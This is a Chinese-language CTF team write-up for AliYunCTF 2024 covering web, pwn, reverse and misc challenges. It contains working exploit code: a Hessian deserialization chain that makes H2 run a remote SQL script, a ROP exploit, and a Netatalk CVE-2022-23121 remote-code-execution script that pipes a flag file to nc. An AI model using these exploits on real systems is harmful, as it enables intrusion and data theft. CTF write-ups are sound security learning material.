AliYunCTF By W&M x V&N

·
Write - Up no tag March 26, 2024
  • WEB
    • easyCAS
    • chain17
      • agent
      • Server
    • Pastebin
    • web签到
  • PWN
    • pwn签到
    • netatalk
  • Reverse
    • 欧拉
  • MISC
    • 字
    • 帕鲁情绪管理
    • alibus
  • Crypto
    • 又双叒叕

WEB

easyCAS

log4j

img

chain17

agent

java17

看了一下题目,首先是个hessian入口,题目给了一个自定义bean

存在hutools依赖,可以触发任意getter,触发点可以配合入口的Hessian实现。Hessian反序列化过程中会调用map.put,触发getter有几个条件,hutools是以属性为基准的

  • 属性存在
  • 属性对于的getter存在
  • 非jdk原生类(java.、javax)

题目给的h2肯定是有用的,具体用法应该是找到一个getter触发jdbc。

根据提示 找个触发jdbc的地方

JSONObject.put -> AtomicReference.toString -> POJONode.toString -> Bean.getObject -> PooledDSFactory.getDataSource

因为hessian序列化的时候 instance导致属性丢失,所以setting反射进去

package org.example;

import cn.hutool.db.ds.pooled.PooledDSFactory;
import cn.hutool.db.ds.pooled.PooledDataSource;
import cn.hutool.json.JSONObject;
import cn.hutool.setting.GroupedMap;
import cn.hutool.setting.Setting;
import com.alibaba.com.caucho.hessian.io.Hessian2Input;
import com.alibaba.com.caucho.hessian.io.Hessian2Output;
import com.alibaba.com.caucho.hessian.io.SerializerFactory;
import com.aliyunctf.agent.other.Bean;
import com.fasterxml.jackson.databind.node.POJONode;

import java.io.*;
import java.lang.reflect.*;
import java.util.Base64;
import java.util.HashMap;
import java.util.concurrent.atomic.AtomicReference;

public class Main {
    public static void main(String[] args) throws Exception {

        String url="jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8000/poc.sql'";
        PooledDSFactory pooledDSFactory = (PooledDSFactory) SerializeUtils.createWithoutConstructor(PooledDSFactory.class.getName());

        Setting setting = new Setting();
        setting.setCharset(null);
        setting.set("url",url);
        SerializeUtils.setFieldValue(pooledDSFactory,"setting",setting);
        HashMap<Object, Object> dsmap = new HashMap<>();
        dsmap.put("",null);
        SerializeUtils.setFieldValue(pooledDSFactory,"dsMap",dsmap);

        Bean bean = new Bean();
        ByteArrayOutputStream baos2 = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos2);
        oos.writeObject(pooledDSFactory);
        oos.close();
        bean.setData(baos2.toByteArray());

        POJONode jsonNodes = new POJONode(bean);
        AtomicReference atomicReference = new AtomicReference("poc");
        JSONObject jsonObject = new JSONObject();
        //innermap
        HashMap<Object, Object> innermap = new HashMap<>();
        setFieldValue(innermap, "size", 1);


        Class<?> nodeC;
        try {
            nodeC = Class.forName("java.util.HashMap$Node");
        }
        catch ( ClassNotFoundException e ) {
            nodeC = Class.forName("java.util.HashMap$Entry");
        }
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);

        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, "manqiu",atomicReference, null));
        setFieldValue(innermap, "table", tbl);
        setFieldValue(jsonObject,"raw",innermap);
        setFieldValue(atomicReference,"value",jsonNodes);
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        Hessian2Output out = new Hessian2Output(baos);
        out.setSerializerFactory(new SerializerFactory());
        out.getSerializerFactory().setAllowNonSerializable(true);
        out.writeObject(jsonObject);
        out.flushBuffer();
        String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
        System.out.println(base64String);
        byte[] data = Base64.getDecoder().decode(base64String);
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(data);
        Hessian2Input hessian2Input = new Hessian2Input(byteArrayInputStream);
        Object object = hessian2Input.readObject();
        System.out.println(object.getClass());
    }

    public static Field getField(final Class<?> clazz, final String fieldName) {
        Field field = null;
        try {
            field = clazz.getDeclaredField(fieldName);
            field.setAccessible(true);
        } catch (NoSuchFieldException ex) {
            if (clazz.getSuperclass() != null)
                field = getField(clazz.getSuperclass(), fieldName);
        }
        return field;
    }


    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = getField(obj.getClass(), fieldName);
        field.setAccessible(true);
        if(field != null) {
            field.set(obj, value);
        }
    }

}

Server

jooq里面有个任意实例化的地方
Xstring -> POJONode.toString -> ConvertedVal.getValue -> ClassPathXmlApplicationContext

image-20240325203129321

Pastebin

ctx全局变量 + 条件竞争

注册个账户 发个文章内容带有admin 一直请求这个文章 + 请求/flag

img

web签到

命令拼贴导致任意文件读取。

img

PWN

pwn签到

from pwn import *

#sh = process('./pwn-sign_in')
sh = remote('pwn0.aliyunctf.com', 9999)
context.log_level = "debug"
context.arch = "amd64"

def choice(idx):
    sh.sendlineafter("hhh", str(idx))


def lucky(size, data, lucky_numbers):
    choice(1)
    sh.sendlineafter("size???", str(size))
    sh.sendline(data)
    sh.recvuntil("Lucky Numbers")
    for i in range(16):
        sh.sendline(str(lucky_numbers[i]))


lucky_numbers = [0] * 16
lucky_numbers[15] = 1
lucky_numbers[13] = 1
lucky_numbers[2] = 1
lucky_numbers[11] = 1
lucky_numbers[4] = 1
lucky_numbers[14] = 1

lucky(0x500, 'a' * 8, lucky_numbers)
choice(2)
libc_base = u64(sh.recvuntil('\x7f')[-6:].ljust(8, '\x00')) - 0x1ecbe0
log.success("libc_base:\t" + hex(libc_base))
one_gadget = [0xe3afe, 0xe3b01, 0xe3b04]
pop_rdi_addr = libc_base + 0x23b6a
pop_rsi_addr = libc_base + 0x2601f
pop_rdx_r12_addr = libc_base + 0x119431
pop_rax_addr = libc_base + 0x36174
syscall_addr = libc_base + 0x630a9
gadget_addr = libc_base + 0x151bb0  # mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
free_hook_addr = libc_base + 0x1eee48
malloc_hook_addr = libc_base + 0x1ecb70
system_addr = libc_base + 0x52290
bin_sh_addr = libc_base + 0x1b45bd
setcontext_addr = libc_base + 0x54f20
fake_frame_addr = libc_base + 0x1ec000

rop_data = flat([
    pop_rax_addr, 0,
    pop_rdi_addr, 0,
    pop_rsi_addr, fake_frame_addr + 0xF8,
    syscall_addr,

    # sys_open('flag', 0)
    pop_rdi_addr, fake_frame_addr + 0xF8,
    pop_rsi_addr, 0,
    pop_rdx_r12_addr, 0x100, 0,

    pop_rax_addr, 2,
    syscall_addr,

    # sys_read(flag_fd, heap, 0x100)
    pop_rax_addr, 0,
    pop_rdi_addr, 3,
    pop_rsi_addr, fake_frame_addr + 0x200,
    syscall_addr,

    # sys_write(1, heap, 0x100)
    pop_rax_addr, 1,
    pop_rdi_addr, 1,
    pop_rsi_addr, fake_frame_addr + 0x200,
    syscall_addr
])

lucky_numbers = [0] * 16
lucky_numbers[15] = 1
lucky_numbers[1] = 1
lucky_numbers[2] = 1
lucky_numbers[3] = 1
lucky_numbers[4] = 1
lucky_numbers[14] = 1
lucky_numbers[6] = 1

lucky(0x500, 'a' * 8, lucky_numbers)
choice(2)

sh.sendlineafter("xmki", 'a' * (66 + 2 + 2 + (len(rop_data) // 4)) + '\x00')

for i in range(66):
    sh.sendline(str(0xaaaaaaaa))

for i in range(2 + 2):
    sh.sendline("+")

#gdb.attach(sh, "b *$rebase(0x2512)")
for i in range(0, len(rop_data), 8):
    sh.sendline(str(u32(rop_data[i: i + 4])))
    sh.sendline(str(u32(rop_data[i + 4: i + 8])))

sh.send('flag.txt\x00')
sh.interactive()

netatalk

https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=netatalk

Netatalk 3.1.12任意漏洞rce,从CVE-2021-31439 开始往上的都可以

CVE-2022-23121 三个比较详细的分析,目标是arm,文章中是x86

https://nosec.org/home/detail/4997.html

https://mp.weixin.qq.com/s/XGtGSK2J3cx9sy7iKtWeCA

https://research.nccgroup.com/2022/03/24/remote-code-execution-on-western-digital-pr4100-nas-cve-2022-23121/

原理在上述文章中讲的已经很详细了,攻击的大致流程:

  1. 创建"leakpthread"文件,写入内容随意,为了之后打开这个文件来触发 "."文件
  2. 创建"._leak_pthread",文件为漏洞文件。照着上面的文章找到一个可以leak libpthread.so的偏移
  3. OpenFork("leak_pthread")来触发"._leak_pthread"文件的错误解析,其中flag为0xff,access mode为0(不是唯一的值,跟着源码走一下,能走到 afp_openfork->ad_open→ad_open_rf→ad_open_rf_ea→ad_header_read_osx→parse_entries 就行
  4. 再读"._leakpthread"的内容就可以有泄漏了。注意这里需要提前打开文件然后用同一个forkid,不然先创建"."文件关掉再打开是打不开的。
  5. 有了泄漏之后,使用文章中的技巧覆盖_rtld_global的值。需要覆盖两个,一个是函数指针,一个是函数参数的值。手动调试一下,找到偏移。memmove会把内容覆盖,然后在后面的ad_rebuild_adouble_header_osx的时候有个memcpy会SIGSEGV,但是因为netatalk里有signal handler,所以会调用,接着之前覆盖的指针就可以RCE。

p.s. 有一个坑是这里用到了ARM THUMB mode,所以泄漏libc的system跳过去是会执行不了的,而且由于gdb默认不会反汇编thumb,所以很难第一眼发现问题。发现问题的流程是,使用gdbserver在外面执行的时候SIGSEGV一直会被gdb捕捉所以不能执行到handler,接着我就使用vm内部的没插件的gdb调试,默认gdb反汇编用的是arm模式,会报SIGILL错,当时很困惑。接着还是用回了外部的pwndbg,输入handle all nostop pass 跳过信号捕捉,发现x/i $pc和主窗口显示的代码不一样并且主窗口显示的是正确的,才发现是THUMB的问题。所以找到一个合适的system去跳就可以。

#! /usr/bin/env python3
# -*- coding: utf-8 -*-
#
from pwn import *
context.log_level = 'debug'

from afputils import *

ip = "127.0.0.1"
port = 5548
volume = "Shared"

# Helper function to create AppleDouble metadata header
# you can modify the header as you want...
def createAppleDoubleLeak(offset):
    header = p32(0x51607)                     # Magic number double
    header += p32(0x20000)                    # Version number
    header += p8(0) * 16                      # Filler
    header += p16(2)                          # Number of entries
    header += p32(9)                          # Entry Id Finder Info
    header += pack(offset,32,'big', True)     # FINDERI offset
    header += p32(30)                         # FINDERLEN Set length other than 32 to call 'ad_convert_osx'
    header += p32(2)                          # Type Ressource fork
    header += p32(0x800)                      # ADEID_RFORK #Control the mmap size
    header += p32(0x1)                        # length
    ############
    # usefull to find adouble offset
    ###########
    header += b'JUNK' * 8
    return header

def createAppleDoubleWrite(addr, offset=0x4504):
    # cmd = b"sudo cat /flag.txt | nc xx.xx.xx.xx 10001\x00\x00\x00"
    cmd   = b"sudo cat /flag.txt | nc localhost 10001\x00\x00\x00\x00\x00"
    # 44 bytes
    cmd += p32(0) * 192  # padding
    cmd += p32(addr, endian='le')

    header = p32(0x51607)                     # Magic number double
    header += p32(0x20000)                    # Version number
    header += p8(0) * 16                      # Filler
    header += p16(2)                          # Number of entries
    header += p32(9)                          # Entry Id Finder Info
    header += pack(offset, 32, 'big', True)   # FINDERI offset
    header += p32(30)                         # FINDERLEN Set length other than 32 to call 'ad_convert_osx'
    header += p32(2)                          # Type Ressource fork
    header += p32(0x800)                      # ADEID_RFORK #Control the mmap size
    header += p32(len(cmd))                   # length
    ############
    # usefull to find adouble offset
    ###########
    header += b'JUNK' * 8
    header += b'\x00' * (0x800 - len(header))
    header += cmd
    return header

def fxxk():
    p = connect(ip, port)
    response, request_id = DSIOpenSession(p, debug)
    response, request_id = FPLogin(p, request_id, b'AFP3.3', b'No User Authent', None, debug)
    response, request_id, volume_id = FPOpenVol(p, request_id, 0x21, bytes(volume,encoding='utf-8'), None, debug)

    # create a simple file named "leak_pthread" with data inside
    response, request_id = FPCreateFile(p, request_id, volume_id, 2, 2, b"leak_pthread", debug)
    response, request_id, fork1 = FPOpenFork(p, request_id, 0, volume_id, 2, 0, 3, 2, b"leak_pthread", debug)
    data = b'Hello World !'
    response, request_id = FPWriteExt(p, request_id, fork1, 0, len(data), data, debug)
    response, request_id = FPReadExt(p, request_id, fork1, 0, len(data), debug)
    response, request_id = FPCloseFork(p, request_id, fork1, debug)

    # create an appledouble metadata file for "leak_pthread"
    appledouble = createAppleDoubleLeak(0x61a)
    response, request_id = FPCreateFile(p, request_id, volume_id, 2, 2, b"._leak_pthread", debug)
    response, request_id, fork2 = FPOpenFork(p, request_id, 0, volume_id, 2, 0, 3, 2, b"._leak_pthread", debug)
    response, request_id = FPWriteExt(p, request_id, fork2, 0, len(appledouble), appledouble, debug)

    response, request_id, fork1 = FPOpenFork(p, request_id, 0xff, volume_id, 2, 0, 0, 2, b"leak_pthread", debug)
    response, request_id = FPReadExt(p, request_id, fork2, 0, len(appledouble), debug)
    libpthread = u32(response[0x42:0x42 + 0x4], endian='le') - 0xb305

    DSICloseSession(p, request_id, debug)
    p.close()

    return libpthread

def fxxk2(system_plt, file_suffix=""):
    filename = ("write" + file_suffix).encode()
    filename2 = ("._write" + file_suffix).encode()

    p = connect(ip, port)
    response, request_id = DSIOpenSession(p, debug)
    response, request_id = FPLogin(p, request_id, b'AFP3.3', b'No User Authent', None, debug)
    response, request_id, volume_id = FPOpenVol(p, request_id, 0x21, bytes(volume,encoding='utf-8'), None, debug)

    # create a simple file named "write" with data inside
    response, request_id = FPCreateFile(p, request_id, volume_id, 2, 2, filename, debug)
    response, request_id, fork1 = FPOpenFork(p, request_id, 0, volume_id, 2, 0, 3, 2, filename, debug)
    data = b'Hello World !'
    response, request_id = FPWriteExt(p, request_id, fork1, 0, len(data), data, debug)
    response, request_id = FPReadExt(p, request_id, fork1, 0, len(data), debug)
    response, request_id = FPCloseFork(p, request_id, fork1, debug)

    # create an appledouble metadata file for "write"
    appledouble = createAppleDoubleWrite(system_plt)
    response, request_id = FPCreateFile(p, request_id, volume_id, 2, 2, filename2, debug)
    response, request_id, fork2 = FPOpenFork(p, request_id, 0, volume_id, 2, 0, 3, 2, filename2, debug)
    response, request_id = FPWriteExt(p, request_id, fork2, 0, len(appledouble), appledouble, debug)

    print("Triggering system...")
    # pause()
    response, request_id, fork1 = FPOpenFork(p, request_id, 0xff, volume_id, 2, 0, 0, 2, filename, debug)
    DSICloseSession(p, request_id, debug)
    p.close()

libpthread = fxxk()

system_plt = libpthread + 0x3f40

print("system_plt: 0x%x" % system_plt)
print("libpthread: 0x%x" % libpthread)

fxxk2(system_plt)

Reverse

欧拉

逻辑比较简单

有问题,因为无法得知算出来的下标对应data数组里的哪个1,所以无从得知每次算出来的ans值对应哪个下标,

https://blog.csdn.net/shazao/article/details/96724812

深搜找一下路径吧

https://www.cnblogs.com/wkfvawl/p/9626163.html

有了新的idea

from z3 import *

answer_data = []  
data = [0x00000000, 0x00000000, 0x00000001, 0x00000000, 0x00000000, 0x00000001, 0x00000000, 0x00000000, 0x00000001, 0x00000000, 0x00000000, 0x00000000, 0x00000001, 0x00000001, 0x00000001, 0x00000000, 0x00000000, 0x00000001, 0x00000001, 0x00000000, 0x00000000, 0x00000001, 0x00000000, 0x00000000, 0x00000001, 0x00000001, 0x00000000, 0x00000000, 0x00000001, 0x00000001, 0x00000000, 0x00000001, 0x00000000, 0x00000000, 0x00000000, 0x00000001, 0x00000000, 0x00000001, 0x00000000, 0x00000001, 0x00000000, 0x00000000, 0x00000001, 0x00000000, 0x00000000, 0x00000001, 0x00000001, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000001, 0x00000000, 0x00000001, 0x00000000, 0x00000000, 0x00000001, 0x00000000, 0x00000001, 0x00000001, 0x00000000, 0x00000000, 0x00000001, 0x00000000, 0x00000000, 0x00000001, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000001, 0x00000001, 0x00000001, 0x00000000, 0x00000001, 0x00000000, 0x00000001, 0x00000001, 0x00000001, 0x00000000]
for i in range(81):
    if data[i] == 1:
      answer_data.append(i)

# print(answer_data)
# cnt = 0
# for i in range(9):
#     for j in range(9):
#         if (i * 9 + j) % 9 == 0:
#             print()
#         if data[i * 9 + j] == 0:
#             print("0", end = " ")
#         if data[i * 9 + j] == 1:
#             print("1", end = " ")
#             cnt += 1
# print(cnt)

input = [BitVec("input%d" % i, 8) for i in range(18)]
sol = Solver()

sol.add(input[1] > input[2])
sol.add(input[3] < input[4])
sol.add(input[0] == input[8])
sol.add(input[11] == input[15])
sol.add(input[10] > input[5])
sol.add(input[3] < input[13])
sol.add(input[7] < input[4])
sol.add(input[14] == 55)
sol.add(input[17] == 52)
for i in range(18):
    sol.add(input[i] <= ord('8'))
    sol.add(input[i] >= ord('0'))

for i in range(17, 0, -1):
    pre_input = input[i - 1] - 48
    sub_input = input[i] - 48
    # ans1 = 8 * pre_input + pre_input + sub_input
    # ans2 = 8 * sub_input + pre_input + sub_input
    low_range = sub_input * 8 + sub_input
    high_range = sub_input * 8 + sub_input + 8
    ans = 8 * pre_input + pre_input + sub_input

    for j in range(len(answer_data)):
    #    if low_range <= answer_data[j] <= high_range:
    #       sol.add(Or(ans == answer_data[j])) 
        sol.add(
           If(And(answer_data[j] <= high_range, answer_data[j] >= low_range), Or(ans == answer_data[j]), True) # 得和每层的预期值都相等,然而遍历不能完成,还得是递归,所以只能DFS
        )

while sat == sol.check():
    model = sol.model()
    path = [model[input[i]].as_long() for i in range(len(input))]
    print("Path:", path)
    sol.add(Or([input[i] != path[i] for i in range(len(input))]))

手算范围过程,不过后续位可能有多解,其实还是要Z3或者深搜?先去吃个饭

input[17] = 4
36 <= ans2 <= 44
=> input[16] = 1 3 6

if input[16] == 1
ans1 = in16 * 8 + in16+ + in17 = 13
yes

if input[16] == 3
ans1 = in16 * 8 + in16+ + in17 = 31
yes

if input[16] == 6
ans1 = in16 * 8 + in16+ + in17 = 58
yes

写了个深搜脚本,但是一直跑不到最后一个点qwq,狗屎算法受不了了

mp_ = [ 
0x0, 0x0, 0x1, 0x0, 0x0, 0x1, 0x0, 0x0, 0x1, 
0x0, 0x0, 0x0, 0x1, 0x1, 0x1, 0x0, 0x0, 0x1, 
0x1, 0x0, 0x0, 0x1, 0x0, 0x0, 0x1, 0x1, 0x0, 
0x0, 0x1, 0x1, 0x0, 0x1, 0x0, 0x0, 0x0, 0x1, 
0x0, 0x1, 0x0, 0x1, 0x0, 0x0, 0x1, 0x0, 0x0, 
0x1, 0x1, 0x0, 0x0, 0x0, 0x0, 0x1, 0x0, 0x1, 
0x0, 0x0, 0x1, 0x0, 0x1, 0x1, 0x0, 0x0, 0x1, 
0x0, 0x0, 0x1, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1, 
0x1, 0x1, 0x0, 0x1, 0x0, 0x1, 0x1, 0x1, 0x0
]

# 打印9*9的矩阵
def print_mp(mp):
    for i in range(9):
        for j in range(9):
            print(hex(mp[i*9+j]),end=", ")
        print("")

def get_x_true(x,y,mp):
    res_index_array = []
    for i in range(9):
        if i == x:
            continue
        if mp[y*9+i] == 1:
            res_index_array.append(i)
    return res_index_array

def get_y_true(x,y,mp):
    res_index_array = []
    for i in range(9):
        if i == y:
            continue
        if mp[i*9+x] == 1:
            res_index_array.append(i)
    return res_index_array
def DFS(x,y,index,lujing,mp):

    x_true = get_x_true(x,y,mp)
    y_true = get_y_true(x,y,mp)
    # print("x_true: "+str(x_true))
    # print("y_true: "+str(y_true))
    # print("index: "+str(index)+" 当前坐标:"+"("+str(x)+","+str(y)+")")
    # print("index: "+str(index)+"路径:"+str(lujing))
    # print_mp(mp)  
    if(index == 10):
        # print("成功")
        print(lujing)
        return
    if(index == 24 and x != 7 and y != 7):
        # print("index == 24的数值不正确"+",坐标为:"+"("+str(x)+","+str(y)+")")
        return
    if(x_true == [] and y_true == []):
        # print("递归尽头")
        # print_mp(mp)
        return
    index -= 1
    mp[y*9+x] = 0
    mp[x*9+y] = 0
    lujing.append((x,y))
    for i in x_true:
        DFS(i,y,index,lujing.copy(),mp.copy())
    for j in y_true:
        DFS(x,j,index,lujing.copy(),mp.copy())

DFS(3,4,27,[],mp_.copy())

还是深搜

搜索遍历出所有符合条件的串

然后根据条件判断即可

a = [[0, 0, 1, 0, 0, 1, 0, 0, 1],
     [0, 0, 0, 1, 1, 1, 0, 0, 1],
     [1, 0, 0, 1, 0, 0, 1, 1, 0],
     [0, 1, 1, 0, 1, 0, 0, 0, 1],
     [0, 1, 0, 1, 0, 0, 1, 0, 0],
     [1, 1, 0, 0, 0, 0, 1, 0, 1],
     [0, 0, 1, 0, 1, 1, 0, 0, 1],
     [0, 0, 1, 0, 0, 0, 0, 0, 1],
     [1, 1, 0, 1, 0, 1, 1, 1, 0]]

b = []
for i in range(9):
    for j in range(i,9):
        if a[i][j] == 1:
            b.append((i, j))
            #print(i,j)
walked = [0]*len(b)
def check(str):
    if not str[11-10] > str[12-10]:
        return 0
    if not str[13-10] < str[14-10]:
        return 0
    if not str[10-10] == str[18-10]:
        return 0
    if not str[21-10] == str[25-10]:
        return 0
    if not str[20-10] > str[15-10]:
        return 0
    if not str[13-10] < str[23-10]:
        return 0
    if not str[17-10] < str[14-10]:
        return 0
    if not str[24-10] == 7:
        return 0
    if not str[27-10] == 4:
        return 0

    return 1

str = [4]
def solve(x,c):
    if x == 17:
        if check(str[::-1]):
            print('win')
            print(str[::-1])
            print(len(str))
        return
    for i,v in enumerate(b):
        if walked[i] == 1:
            continue
        if v[0] == c:
            str.append(v[1])
            walked[i] = 1
            solve(x+1,v[1])
            str.pop()
            walked[i] = 0
        elif v[1] == c:
            str.append(v[0])
            walked[i] = 1
            solve(x+1,v[0])
            str.pop()
            walked[i] = 0
        else:
            continue
    return


print(len(b))
solve(0,4)

MISC

字

orig.txt

https://zh.wikipedia.org/zh-cn/%E6%B1%89%E5%AD%97

原文来自wikipedia 复制原文用来对比,发现有一些字被替换成了康熙部首

img

hint:

  1. 该隐写需要用到所有的[redacted]。
  2. 该隐写能够承载的信息容量和原文的具体内容有关,和原文的长度弱相关。

题目「字」更新了附件,题目解法未改变,消除了可能导致误解的简繁体因素

  1. 对于题目的原文,使用该隐写能够写入的信息容量为 332bits。
  2. 对于第二步:依旧和汉字有关

隐写原理:存在对应康熙部首但是没写成康熙部首形式的汉字作0,写成康熙部首形式的汉字作1;不存在对应康熙部首的汉字和其它标点符号无视

import json

f2 = open("hanzi2.txt", "r").read() # 原文
f3 = open("hanzi3.txt", "r").read() # 附件
ff = open("1.txt", "r").read().replace("\n", "") # 康熙部首中的所有字(包括原版和康熙部首版本)
dic = json.loads(open("dict.json", "rb").read()) # 康熙部首字典

for i in range(len(f2)):
    if (f2[i] in ff):
        if (dic.get(f3[i])):
            print(1, end="")
        else:
            print(0, end="")

字典:

{"⼀": "一", "⼁": "丨", "⼂": "丶", "⼃": "丿", "⼄": "乙", "⼅": "亅", "⼆": "二", "⼇": "亠", "⼈": "人", "⼉": "儿", "⼊": "入", "⼋": "八", "⼌": "冂", "⼍": "冖", "⼎": "冫", "⼏": "几", "⼐": "凵", "⼑": "刀", "⼒": "力", "⼓": "勹", "⼔": "匕", "⼕": "匚", "⼖": "匸", "⼗": "十", "⼘": "卜", "⼙": "卩", "⼚": "厂", "⼛": "厶", "⼜": "又", "⼝": "口", "⼞": "囗", "⼟": "土", "⼠": "士", "⼡": "夂", "⼢": "夊", "⼣": "夕", "⼤": "大", "⼥": "女", "⼦": "子", "⼧": "宀", "⼨": "寸", "⼩": "小", "⼪": "尢", "⼫": "尸", "⼬": "屮", "⼭": "山", "⼮": "巛", "⼯": "工", " ⼰": "己", "⼱": "巾", "⼲": "干", "⼳": "幺", "⼴": "广", "⼵": "廴", "⼶": "廾", "⼷": "弋", "⼸": "弓", "⼹": "彐", "⼺": "彡", "⼻": "彳", " ⼼": "心", "⼽": "戈", "⼾": "戶", "⼿": "手", "⽀": "支", "⽁": "攴", "⽂": "文", "⽃": "斗", "⽄": "斤", "⽅": "方", "⽆": "无", "⽇": "日", " ⽈": "曰", "⽉": "月", "⽊": "木", "⽋": "欠", "⽌": "止", "⽍": "歹", "⽎": "殳", "⽏": "毋", "⽐": "比", "⽑": "毛", "⽒": "氏", "⽓": "气", " ⽔": "水", "⽕": "火", "⽖": "爪", "⽗": "父", "⽘": "爻", "⽙": "爿", "⽚": "片", "⽛": "牙", "⽜": "牛", "⽝": "犬", "⽞": "玄", "⽟": "玉", " ⽠": "瓜", "⽡": "瓦", "⽢": "甘", "⽣": "生", "⽤": "用", "⽥": "田", "⽦": "疋", "⽧": "疒", "⽨": "癶", "⽩": "白", "⽪": "皮", "⽫": "皿", " ⽬": "目", "⽭": "矛", "⽮": "矢", "⽯": "石", "⽰": "示", "⽱": "禸", "⽲": "禾", "⽳": "穴", "⽴": "立", "⽵": "竹", "⽶": "米", "⽷": "糸", " ⽸": "缶", "⽹": "网", "⽺": "羊", "⽻": "羽", "⽼": "老", "⽽": "而", "⽾": "耒", "⽿": "耳", "⾀": "聿", "⾁": "肉", "⾂": "臣", "⾃": "自", " ⾄": "至", "⾅": "臼", "⾆": "舌", "⾇": "舛", "⾈": "舟", "⾉": "艮", "⾊": "色", "⾋": "艸", "⾌": "虍", "⾍": "虫", "⾎": "血", "⾏": "行", " ⾐": "衣", "⾑": "襾", "⾒": "見", "⾓": "角", "⾔": "言", "⾕": "谷", "⾖": "豆", "⾗": "豕", "⾘": "豸", "⾙": "貝", "⾚": "赤", "⾛": "走", " ⾜": "足", "⾝": "身", "⾞": "車", "⾟": "辛", "⾠": "辰", "⾡": "辵", "⾢": "邑", "⾣": "酉", "⾤": "釆", "⾥": "里", "⾦": "金", "⾧": "長", " ⾨": "門", "⾩": "阜", "⾪": "隶", "⾫": "隹", "⾬": "雨", "⾭": "靑", "⾮": "非", "⾯": "面", "⾰": "革", "⾱": "韋", "⾲": "韭", "⾳": "音", " ⾴": "頁", "⾵": "風", "⾶": "飛", "⾷": "食", "⾸": "首", "⾹": "香", "⾺": "馬", "⾻": "骨", "⾼": "高", "⾽": "髟", "⾾": "鬥", "⾿": "鬯", " ⿀": "鬲", "⿁": "鬼", "⿂": "魚", "⿃": "鳥", "⿄": "鹵", "⿅": "鹿", "⿆": "麥", "⿇": "麻", "⿈": "黃", "⿉": "黍", "⿊": "黑", "⿋": "黹", " ⿌": "黽", "⿍": "鼎", "⿎": "鼓", "⿏": "鼠", "⿐": "鼻", "⿑": "齊", "⿒": "齒", "⿓": "龍", "⿔": "龜", "⿕": "龠"}

01序列 332bits

00100000000010010000010011110110100010011000101101000001010011010011000101000101110001101111010011001101100010000100000000100000101101011110010000110110010010110101111001000011011001010111101000100011011000111001011101000101010111010001010101110100010101010110100100011001101100100011011000100001000000001000111111100000000000000000

和题目对一整天的脑洞得知,是区位码 每14位比特构成一个区码和一个位码

0010000 = 16
0000010 = 02
区位码(1602) = 阿

转换即可 https://www.qqxiuzi.cn/bianma/quweima.php

阿里云夺旗赛左花括二六二六下划五五五四右花括

帕鲁情绪管理

机器学习题,你是机器,开始之前你可以看一些对话样本,然后会给你测试用例,你判断情绪是positive还是negative还是neutral

根据样本找到数据集 crowdflower\airline-sentiment\train.tsv

https://huggingface.co/datasets/tasksource/crowdflower

从数据集里面找就行

from pwn import *
from openai import OpenAI

with open("./train.tsv","rb") as f:
    train = f.readlines()

train = [x.split(b"\t")for x in train]

train=filter(lambda x: len(x) == 2, train)

train = [(x[0],x[1].strip()) for x in train]

# remove non ascii from x
def all_ascii(x:bytes):
    result = bytearray()
    for i in x:
        if i < 128:
            result.append(i)
    return bytes(result)

train = [(all_ascii(x),y) for x,y in train]

io = remote("misc0.aliyunctf.com",9999)

io.recvuntil(b'"')
prefix = io.recvuntil(b'"', drop=True).decode().strip()
io.recvuntil(b' = ')
suffix = io.recvline().decode().strip()

print(prefix,suffix)
from pwnlib.util.iters import mbruteforce

def test(s):
    return hashlib.sha256((prefix + s).encode()).hexdigest() == suffix

pow=(mbruteforce(test, string.ascii_letters + string.digits, 4))
print(pow)
io.sendline(pow)

io.recvuntil(b'Please input the answer: Do you want to training? (y/n)')
io.sendline(b'y')

training = io.recvuntil(b'Now, Do you want to start challenge? (y/n)', drop=True).decode().strip()
io.sendline(b'y')

while 1:
    challenge = io.recvline().strip()
    if b'Congratulations! You have passed the challenge!' in challenge:
        break
    print("challenge:",challenge)

    challenge = challenge.split(b', text: ')[1]
    challenge = all_ascii(challenge).replace(b"&amp;",b"&")

    # find challenge in train.tsv
    for data,tag in train:
        if challenge[5:-5] in data:
            print("tag:",tag)
            io.sendline(tag)
            break
    else:
        raise Exception("Not found")

io.interactive()

alibus

题目给了docker内www-data用户的shell

有个dbus-daemon,有个以root运行的dbus服务(rust写的,难逆向,而且根据提示,并不需要逆),有个dbus配置文件

(remote) www-data@65b8f2bc8398:/$ busctl list       
NAME                       PID PROCESS USER     CONNECTION    UNIT SESSION DESCRIPTION                                            
:1.0                        19 alibus  root     :1.0          -    -       -                                                      
:1.1                       112 busctl  www-data :1.1          -    -       -                                                      
org.freedesktop.Accounts     - -       -        (activatable) -    -       -                                                      
org.freedesktop.DBus        17 n/a     root     -             -    -       -                                                      
org.freedesktop.PolicyKit1   - -       -        (activatable) -    -       -                                                      
org.freedesktop.hostname1    - -       -        (activatable) -    -       -                                                      
org.freedesktop.locale1      - -       -        (activatable) -    -       -                                                      
org.freedesktop.login1       - -       -        (activatable) -    -       -                                                      
org.freedesktop.network1     - -       -        (activatable) -    -       -                                                      
org.freedesktop.resolve1     - -       -        (activatable) -    -       -                                                      
org.freedesktop.systemd1     - -       -        (activatable) -    -       -                                                      
org.freedesktop.timedate1    - -       -        (activatable) -    -       -                                                      
org.freedesktop.timesync1    - -       -        (activatable) -    -       -                                                      
org.zbus.MyService          19 alibus  root     :1.0          -    -       -          

/etc/dbus-1/system.d/alibus.conf

<!DOCTYPE busconfig PUBLIC "-//freedesktop//DTD D-BUS Bus Configuration 1.0//EN" "http://www.freedesktop.org/standards/dbus/1.0/busconfig.dtd">
<busconfig>
        <auth>ANONYMOUS</auth>
        <allow_anonymous/>
        <policy context="default">
